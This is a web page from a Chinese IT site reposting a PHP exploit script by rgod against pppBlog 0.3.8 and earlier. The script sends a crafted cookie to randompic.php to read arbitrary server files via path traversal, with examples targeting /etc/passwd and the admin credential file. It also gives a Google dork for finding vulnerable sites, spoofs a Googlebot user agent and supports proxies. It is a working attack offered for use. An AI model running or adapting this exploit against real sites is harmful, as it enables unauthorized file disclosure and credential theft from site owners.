|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
您现在的位置: ChinaBeta.cn 中文IT资讯 >> 网盟学院 >> 技术文档 >> 网管技术正文
推荐网管技术让我穿过那道"墙"! 畅游网络应…推荐网管技术主动防御!瑞星杀毒2008抢先评…
推荐网管技术速度超快 Discuz! 6.0.0试用手…推荐网管技术奇虎举证:各杀毒软件均报CNNIC…
推荐网管技术Google Earth 4.2加入繁体中文…推荐网管技术专业防护!瑞星防火墙2008测试…
推荐网管技术挂载RAR文件 从认识到爱上WinM…推荐网管技术让你冲浪随心所欲 如何访问被封…
推荐网管技术轻装上阵!江民杀毒软件2008速…推荐网管技术VMware Fusion苹果版全程图解(…
推荐网管技术VMware Fusion苹果版全程图解(…推荐网管技术从菜鸟出发!征服高清详细评测全…
推荐网管技术VS2008和ASP.NET 3.5使用之初体…推荐网管技术[多图]Ubuntu 7.04 初体验
推荐网管技术东风吹战鼓擂 下载软件你选谁?推荐网管技术若隐若现 Windows XP DirectX …
推荐网管技术GPRS上网全攻略推荐网管技术主流杀毒软件Vista兼容性横评
推荐网管技术基于IRF的网络管理和业务管理解…推荐网管技术83个美丽的Wordpress主题
推荐网管技术软交换网络中的关键路由技术详…推荐网管技术不只是换肤?Windows Mobile 6 …
推荐网管技术css教程–十步学会用css建站(全…推荐网管技术巧妙设置路由 预防网络频繁掉线
推荐网管技术打造网络管理七大绝技推荐网管技术CorelDRAW X3 Service Pack 2 …
推荐网管技术重温经典:回归 Live Messenger…推荐网管技术Oracle数据库补丁分类、安装及…
pppBlog <= 0.3.8 (randompic.php) System Disclosure Exploit
Www.ChinaBeta.Cn 更新时间:2006-6-6 阅读次数:

【ChinaBeta.Cn 网盟学院】
文章作者:rgod

CODE:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "pppBlog <= 0.3.8 system disclosure exploit\r\n";
echo "by rgod [email]rgod@autistici.org[/email]\r\n";
echo "site: [url]http://retrogod.altervista.org[/url]\r\n\r\n";
echo "dork: intext:\"Powered by pppblog\"\r\n\r\n";
/*
works with:
register_globals=On
*/

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path path_to_file OPTIONS\r\n";
echo "host:       target server (ip/hostname)\r\n";
echo "path:       path to pppblog\r\n";
echo "path_to_file: a file which you want to see content of\r\n";
echo "Options:\r\n";
echo "   -p[port]:   specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /pppblog/ ../../../../../../etc/passwd\r\n";
echo "php ".$argv[0]." localhost /pppblog/ ../config/admin.php -p81\r\n";
echo "php ".$argv[0]." localhost / ../config/admin.php -P1.1.1.1:80\r\n\r\n";
die;
}
/* software site: [url]http://joerg.jo.funpic.org/pppblog/static.php?page=welcome[/url]

vulnerable code in randompic.php at lines 66-68:
...
header("Content-Type: image/gif");
header("Content-Transfer-Encoding: binary");
readfile("$dir/$files[$randnum]");
...

if randompic.php is called directly, without arguments, $files array is
not initialized, so , if register_globals = On, you can see all
files on target server, according to open_basedir restrictions, poc:

http://[target]/[path]/randompic.php?files[0]=../config/admin.php

now at screen you have ppp-blog admin username/password pair, crypted by
crypt() php function
                                        */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
  if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  {$result.=" .";}
  else
  {$result.=" ".$string[$i];}
  if (strlen(dechex(ord($string[$i])))==2)
  {$exa.=" ".dechex(ord($string[$i]));}
  else
  {$exa.=" 0".dechex(ord($string[$i]));}
  $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
  $ock=fsockopen(gethostbyname($host),$port);
  if (!$ock) {
    echo 'No response from '.$host.':'.$port; die;
  }
}
else {
   $c = preg_match($proxy_regex,$proxy);
  if (!$c) {
    echo 'Not a valid proxy...';die;
  }
  $parts=explode(':',$proxy);
  echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  $ock=fsockopen($parts[0],$parts[1]);
  if (!$ock) {
    echo 'No response from proxy...';die;
   }
}
fputs($ock,$packet);
if ($proxy=='') {
  $html='';
  while (!feof($ock)) {
    $html.=fgets($ock);
  }
}
else {
  $html='';
  while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
    $html.=fread($ock,1);
  }
}
fclose($ock);
#debug
#echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$path_to_file=$argv[3];
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slash\r\n");}
$port=80;
$proxy="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."randompic.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: files[0]=".urlencode($path_to_file)."\r\n"; //through cookies, log this :)
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
echo $html;
?>
 

Google

(责任编辑:hahack)

发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
热门文章 相关报道
普通网管技术 [软件应用]凤凰涅槃 驱动精灵2008归来 (01-03)最新网管技术
普通网管技术 [ASP|ASP.NET]为ASP.NET MVC框架添加AJAX支持 (01-02)最新网管技术
普通网管技术 [JSP|JAVA]从Java到Ruby:献给引路人的策略 (01-02)最新网管技术
普通网管技术 [PHP]PHP多文件上传实例 (01-02)最新网管技术
普通网管技术 [其它编程程序]QQ 静态截图完善实现之改造 CRec… (01-02)最新网管技术
普通网管技术 [其它编程程序]C++运算符重载转换运算符 (01-02)最新网管技术
普通网管技术 [其它编程程序]详细解析C++编写的ATM自动取款机… (01-02)最新网管技术
普通网管技术 [其它编程程序]C++中用vectors改进内存的再分配 (01-02)最新网管技术
普通网管技术 [其它编程程序]C++中的虚函数((((virtual funct… (01-02)最新网管技术
普通网管技术 [其它编程程序]C++中用函数模板实现和优化抽象操… (01-02)最新网管技术
  • MS Windows XP/w2k3 (Explo…

  • gxine 0.5.6 (HTTP Plugin)…

  •   网友评论内容:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    I D *
    邮 箱
    主 页
    评 分 1分 2分 3分 4分 5分
    评 论

    关于我们  中国·国家信息产业部{粤ICP备06006652号}{陇ICP备06002562号}
    版权所有:『AK网盟基地』站长:Hahack | QQ:80505955 | E-mail:Hahack@Gmail.com
    Copyright (C) 2005-2007  akhack.org|chinabeta.cn All Rights Reserved